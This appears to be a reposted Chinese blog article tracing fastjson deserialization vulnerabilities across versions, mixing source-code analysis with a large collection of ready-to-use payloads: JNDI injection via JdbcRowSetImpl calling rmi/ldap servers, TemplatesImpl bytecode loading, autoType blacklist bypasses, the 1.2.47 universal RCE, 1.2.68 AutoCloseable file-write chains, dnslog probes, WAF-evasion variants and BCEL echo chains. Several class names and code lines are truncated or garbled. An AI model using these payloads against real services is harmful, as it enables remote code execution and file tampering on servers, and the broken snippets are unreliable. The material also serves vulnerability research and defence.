fastjson漏洞始末
fastjson反序列化的⼀些前置知识
我们都知道fastjson触发漏洞的点在setter或者getter,以及fastjson反序列化存在parse和parseObject两个⽅法,在我最开始了解fastjson反序列化时看到⼀篇⽂章给出了⼀个说法: "parse只触发setter,parseObject同时触发getter和setter"
真的是这样吗?我测试了⼀下就发现这个说法是笼统并且有问题的,parseObject(String text, Class clazz)在这个例⼦⾥就只触发了setter
parseObject(String text, Class<T> clazz),构造⽅法 + setter + 满⾜条件额外的getter
JSONObject parseObject(String text),构造⽅法 + setter + getter + 满⾜条件额外的getter
parse(String text),构造⽅法 + setter + 满⾜条件额外的getter
但据我后⾯看四哥的⽂章可知,某些⽅式可使得不满⾜”条件“的getter也可被调⽤
bcel链
这个是因为String直接调⽤了toJSONString导致会调⽤所有getter,这⾥不再仔细分析,1.2.37以后不能适⽤
$ref
当fastjson版本>=1.2.36时,我们可以使⽤$ref的⽅式来调⽤任意的getter,⽐如使⽤如下代码成功调⽤getName⽅法
跟⼀下源码,可以发现到DefaultJSONParser流程中会判断key是否为$ref,然后调⽤ this.addResolveTask
} else if (key == "$ref" && context != null && (object == null || object.size() == 0) && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
if (ken() != 4) {
throw new JSONException("illegal ref, " + JSONToken.ken()));
}
typeName = lexer.stringVal();
...
...
} else {
this.addResolveTask(new DefaultJSONParser.ResolveTask(rootContext, typeName));
this.setResolveStatus(1);
最后在Json#parse中去处理这个ResolveTask
⼀路跟进,最终在FieldInfo#get⽅法中判断method是否存在,如果存在就反射调⽤,即调⽤getName⽅法
fastjson<1.2.25分析:
存在两条payload
1.利⽤jndi注⼊的JdbcRowSetImpl利⽤链
2.利⽤definClass传⼊恶意字节码的TemplatesImpl利⽤链
Payload1:以ldap⽅式举例,因为rmi利⽤⽅式在更早的jdk版本中被禁⽤
{"@type":"wset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
虽然存在⾼版本中jndi注⼊存在codebase限制,但是可以绕过,需要环境中存在可以利⽤的反序列化gadget,这个利⽤办法是编写⼀个ldapserver,并设置其javaSerializedData 属性为gadget序列化后的数据,有利⽤链就不受codebase的限制,原理为如下代码,当存在JAVA_ATTRIBUTES[1]即javaSerializedData这个属性时,会调⽤deserializeObjectfastjson忽略属性
static Object decodeObject(Attributes var0) throws NamingException {
String[] var2 = (JAVA_ATTRIBUTES[4]));
try {
Attribute var1;
if ((var1 = (JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = URLClassLoader(var2);
return deserializeObject((byte[])((byte[])()), var3);
} else if ((var1 = (JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject(((JAVA_ATTRIBUTES[2]).get(), ((), var2);
} else {
var1 = (JAVA_ATTRIBUTES[0]);
return var1 == null || !ains(JAVA_OBJECT_CLASSES[2]) && !ains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
} catch (IOException var5) {
NamingException var4 = new NamingException();
var4.setRootCause(var5);
throw var4;
}
}
这条链就不分析了,到处都是分析
Payload2:_bytecodes字段传⼊编译好的恶意类的base64编码(在恶意类构造⽅法中写⼊恶意代码)
{"@type":"apache.xalan.ax.TemplatesImpl","_bytecodes":[""],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
这条链其实就是⽤的ysoserial中的jdk7u21,但这个利⽤链存在限制,因为我们的poc中存在private属性,所以在parseObject时需要设置Feature.SupportNonPublicField,⼀般情况都不会设置这个,所以利⽤⾯⽐较窄
fastjson<1.2.48分析:
在1.2.25以后,fastjson不再直接构建javabean,⽽是引⼊了⼀个checkAutoType安全机制
1.2.25以及之后的版本中,存在⼀个autoTypeSupport属性,其值默认False。要注意的是,autoTypeSupport为false并不代表fastjson完全不再⽀持对@type的解析,该值只是影响到了在代码流程进⼊到了checkAutoType机制后的⾛向,并且在某种情况下即使要反序列化的json字符串中存在@type字段也不会进⼊到checkAutoType代码流程。
不进⼊checkAutoType的情况:
1.不存在@type字段
2.@type指定的类与parseObject(String text, Class<T> clazz)中Class<T> clazz)指定的类是⼀样的
⽐如如下这个poc即使在1.2.48也可以执⾏成功,因为根本没有进⼊到checkAutoType代码流程
checkAutoType绕过(需要autoTypeSupport为true)
吐槽⼀下,这种绕过迷惑了不少⼈,见过有⼈拿着其中⼀个问我为什么打不动1.2.25的(因为并没绕过autoTypeSupport的默认值啊!)
//1.2.41 bypass
String payload = "{\"@type\":\"wset.RowSetImpl;\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
" \"autoCommit\":true}";
//1.2.43
String payload3 = "{\"@type\":\"[wset.JdbcRowSetImpl\"[{\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true]} ";//1.2.43
//1.2.42
String payload2 = "{\"@type\":\"LL\u0063\u006f\wset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
" \"autoCommit\":true}";
细看这⼏个payload可以发现是很类似的,都是在wset.JdbcRowSetImpl的前后添加了⼀些字符
触发点主要是在typeutils的loadClass中检测className是否以L开头;结尾或者以[开头,如果是就截取它们再返回类名
⽽这⼀步是在⿊名单判断之后,⿊名单判断时以L开头的类名并未触发⿊名单,因此绕过了⿊名单机制
其实这个逻辑顺序导致的漏洞在很多地⽅都有类似的情况,⽐如某cms对sql注⼊字符串按顺序置空,先检测select字符串再检测and字符串就导致了selandect这种字符串绕过了逻辑。
为什么这个payload在默认情况还是会报autoType not support呢?因为checkAutoType其实是⼀个先⽩后⿊名单机制,如果能过⽩名单或者满⾜⼀些条件,代码会在前⾯直接return。如果没有绕过⽩名单或者说满⾜直接return的条件,只是绕过了后续的⿊名单,那么代码就会⾛到下⾯这个流程,这种情况下只要autoTypeSupport为false,都会抛出异常。
除了这⼏个还有第三⽅库的绕过,就不写了,反正它的核⼼思想就是到⼀个绕过⿊名单的类可以触发攻击操作的
⽆视autoType通杀rce
前⾯说了,要想通杀,只绕过⿊名单是不⾏的,必须在前⾯搞搞事情,让代码流程能直接⾛到return。
先看看通杀payload
{
"a":{
"@type":"java.lang.Class",
"val":"wset.JdbcRowSetImpl"
},
"b":{
"@type":"wset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/badNameClass",
"autoCommit":true
}
}
我们先直接下断点可以看到,当流程⾛到typeName是wset.JdbcRowSetImpl时,ClassFromMapping竟然存在,导致clazz不为空
⽽clazz不为空导致在进⼊下个流程时直接return了,没有⾛后⾯⿊名单检测和判断autoTypeSupport为false的代码,达到了通杀rce的效果。
这是因为当这个payload的@type为java.lang.Class时,val为wset.JdbcRowSetImpl,⽽在检测完java.lang.Class后代码流程进⼊到了MiscCodec的deserialze⽅法然后进⼊了以下代码
跟到loadClass就会发现代码将className,也就是strVal参数,即wset.JdbcRowSetImpl放⼊了mappings,从⽽导致等到wset.JdbcRowSetImpl进⼊到checkAutoType时ClassFromMapping取到了值继⽽产⽣了前⽂所说的直接return导致绕过通杀
通杀rce的版本差异
1.2.47这个通杀payload其实在1.2.25-1.2.32 autoTypeSupport为true(默认为false,影响很⼩)的情况下反⽽不能利⽤,为什么呢,调试⼀下1.2.31的代码可以看到在autoTypeSupport为true的情况下会先进⼊⼀个⿊名单检测,⽽这⾥wset.JdbcRowSetImpl是在⿊名单⾥⾯的,所以会抛出异常
1.2.25-1.2.32:
再来看看不受影响的1.2.33-1.2.47,以1.2.41举例,可以看到这⾥的⿊名单检测抛出异常多了⼀个条件是判断wset.JdbcRowSetImpl是不是在缓存⾥,如果不在才会抛出异常,前⾯的通杀解析也写清楚了,这是在的。
1.2.33-1.2.47:
注:我在互联⽹搜了⼀下发现虽然默认为false,但是还是有不少开发会有业务需求改成true,如果确定版本在1.2.25-1.2.32之间⽤通杀rce打不动就可以⽤前⾯说的true情况下的绕过来打。
fastjson<1.2.69分析:
在1.2.48-1.2.69之间出过⼀些autoTypeSupport为true的绕过,以及在1.2.68时的通杀绕过,所以也分成两段来分析
checkAutoType绕过(需要autoTypeSupport为true)
在⽹上到了⼀些payload
fastjson <1.2.62
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}"
fastjson<=1.2.66
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ansaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}
原理就不分析了(因为就只是绕过⿊名单),但是这些有autoType的限制,以及都是第三⽅库,限制还是很⼤的,随便打⼀发提⽰autoType not support也就意味着没戏了,就算不提⽰也还得有这个依赖才⾏,总之就是⽐较鸡肋。
⽆视autoType
在1.2.68版本⼜爆出了⼀个可以绕过autoType的漏洞,但这个漏洞没有1.2.47的通⽤,原因是1.2.47那个rce是绕过了⿊名单的,⽽这个没有。
这个绕过的原理是什么呢,举⼀个例⼦吧,假设我的payload 是这个
{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"fastjson68test\", \"cmd\":\"open /Applications/Calculator.app\"}
那么在代码环境⾥必须存在⼀个这样的fastjson68test类,需要满⾜
1.实现或者继承AutoCloseable
2.不在⿊名单⾥
3.构造函数或者setter/getter中存在可利⽤的恶意操作
代码如下
import java.io.IOException;
public class fastjson68test implements AutoCloseable{
public fastjson68test(String cmd){
try{
}catch (IOException e){
e.printStackTrace();
}
}
@Override
public void close() throws Exception {
}
}
最后在checkAutoType⽅法的这个位置return从⽽绕过autoTypeSupport
可以看到这⾥满⾜的条件是存在expectClass(也就是AutoCloseable),clazz(也就是fastjson68test)是expectClass的实现类,并且已经通过了前⾯的⿊名单检测。
那么这个expectClass⼜有什么要求和限制呢?假设这个是Object类,岂不是有着更多操作的空间?fastjson在前⾯对expectClass做了判断,需要满⾜以下条件:
expectClass != Object.class && expectClass != Serializable.class && expectClass != Cloneable.class && expectClass != Closeable.class && expectClass != EventListener.class && expectClass != Iterable.class && expectClass != Collection.c 当然,也不是所有除此以外的类都可以做expectClass,别忘了expectClass也需要通过checkAutoType的检测,因此其条件是在⽩名单或者在缓存mapping中。
⾄于为什么当fastjson68test进⼊checkAutoType时expectClass有值且是AutoCloseable,则是当@type是AutoCloseable时其通过了checkAutoType以后调⽤了
JavaBeanDeserializer#deserialze并在其中完成赋值,之后再调⽤checkAutoType对fastjson68test进⾏校验。
原理分析⾄此就完了,如果要挖掘通⽤链,那么就是在AutoCloseable,或者其他满⾜条件的expectClass的⼦类/实现类中去寻敏感操作。
了好多篇⽂章都⼏乎没有看到公开的,只有⼀个适⽤于jdk11以上版本的写⽂件的payload:
{
"@type": "java.lang.AutoCloseable",
"@type": "i.server.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "/tmp/asdasd",
"append": true
},
"infl": {
"input": {
"array": "eJxLLE5JTCkGAAh5AnE=",
"limit": 14
}
},
"bufLen": "100"
},
"protocolVersion": 1
}
后来看到四哥发的⼀个第三⽅库的payload:
{
'stream':
{
'@type':"java.lang.AutoCloseable",
'@type':'java.io.FileOutputStream',
'file':'/tmp/nonexist',
'append':false
},
'writer':
{
'@type':"java.lang.AutoCloseable",
'@type':'org.apache.solrmon.util.FastOutputStream',
'tempBuffer':'SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=',
'sink':
{
'$ref':'$.stream'
},
'start':38
},
'close':
{
'@type':"java.lang.AutoCloseable",
'@type':'org.iq80.snappy.SnappyOutputStream',
'out':
{
'$ref':'$.writer'
}
}
}
⼀个修改了rmb122的适⽤于jdk8/10的(看情况,我是macOS、jdk8u201,不⾏)
{
'@type':"java.lang.AutoCloseable",
'@type':'i.server.MarshalOutputStream',
'out':
{
'@type':'java.util.zip.InflaterOutputStream',
'out':
{
'@type':'java.io.FileOutputStream',
'file':'dst',
'append':false
},
'infl':
{
'input':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=='
},
'bufLen':1048576
},
'protocolVersion':1
}
顺便说⼀句,四哥每次吐槽都正合我想法:)
不出⽹&dnslog&绕过waf
dnslog
dnslog是为了检测是否是fastjson反序列化,有dnslog不代表有洞,就跟ysoserial的urldns⼀个作⽤,只是判断是否存在反序列化点{"@type":"java.Inet4Address","val":"dnslog"}
{"@type":"java.Inet6Address","val":"dnslog"}
{"@type":"java.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.URL", "val":"dnslog"}}""}
{{"@type":"java.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.URL","val":"dnslog"}]
Set[{"@type":"java.URL","val":"dnslog"}
{{"@type":"java.URL","val":"dnslog"}:0
绕过waf
⽐如针对@type的变形@\x74ype和对payload的fuzz,⽐如这个例⼦:
{"@type":\b"wset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999","autoCommit":true}}
可以按照这篇⽂章的思路继续做fuzz探测
不出⽹回显
我们常⽤的payload是基于jndi注⼊的,如果遇上不出⽹的情况就没辙
BasicDataSource攻击链 becl
Fastjson<=1.2.24
{
{
"@type": "com.alibaba.fastjson.JSONObject",
"x":{
"@type": "at.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}
1.2.33<=fastjson<=12.36
{
"name":
{
"@type" : "java.lang.Class",
"val"  : "at.dbcp.dbcp2.BasicDataSource"
},
"x" : {
"name": {
"@type" : "java.lang.Class",
"val"  : "apache.bcel.internal.util.ClassLoader"
},
{
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"at.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type" : "apache.bcel.internal.util.ClassLoader"
},
"driverClassName":"$$"
}
} : "ddd"
}
}
1.2.37<=fastjson<=1.2.47
{
"name":
{
"@type" : "java.lang.Class",
"val"  : "at.dbcp.dbcp2.BasicDataSource"
},
"x" : {
"name": {
"@type" : "java.lang.Class",
"val"  : "apache.bcel.internal.util.ClassLoader"
},
"y": {
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"at.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type" : "apache.bcel.internal.util.ClassLoader"
},
"driverClassName":"$$BCEL$..",
"$ref": "$.ection"
}
}
}
}
为何1.2.25-1.2.32⽆法回显,已在前⾯1.2.47的通杀rce的版本差异和fastjson反序列化前置知识的$ref触发get中进⾏了分析。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。